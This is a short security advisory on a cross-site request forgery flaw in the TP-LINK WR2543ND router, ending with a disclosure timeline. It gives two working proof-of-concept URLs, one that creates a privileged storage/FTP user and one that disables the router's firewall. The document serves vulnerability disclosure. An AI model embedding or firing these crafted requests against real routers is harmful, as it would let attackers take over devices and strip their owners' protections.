TP-LINK WR2543ND contains a flaw that allows a remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists because the application does not require multiple steps or explicit confirmation for sensitive transactions. By using a crafted URL (e.g., a crafted GET request inside an "img" tag), an attacker may trick the victim into clicking on the image to take advantage of the trust relationship between the authenticated victim and the application. Such an attack could trick the victim into changing the configuration settings of a router or giving escalated privileges to an attacker in the context of their session with the application, without further prompting or verification.
Proof of Concepts:
1) New Storage Sharing and FTP Server user:
http://tplinklogin.net:80/userRpm/NasUserAdvRpm.htm?nas_admin_pwd=hacker&nas_admin_confirm_pwd=hacker&nas_admin_authority=1&nas_admin_ftp=1&Modify=1&Save=Save
2) Disable the Router's Stateful Inspection Firewall:
http://tplinklogin.net:80/userRpm/BasicSecurityRpm.htm?stat=983040&Save=Save
Disclosure Timeline:
Discovery Date :2012-10-10
Vendor Informed Date :2012-10-12
Vendor Ack Date :2012-10-17
Disclosure Date :2013-02-08
Exploit Publish Date :2013-02-08
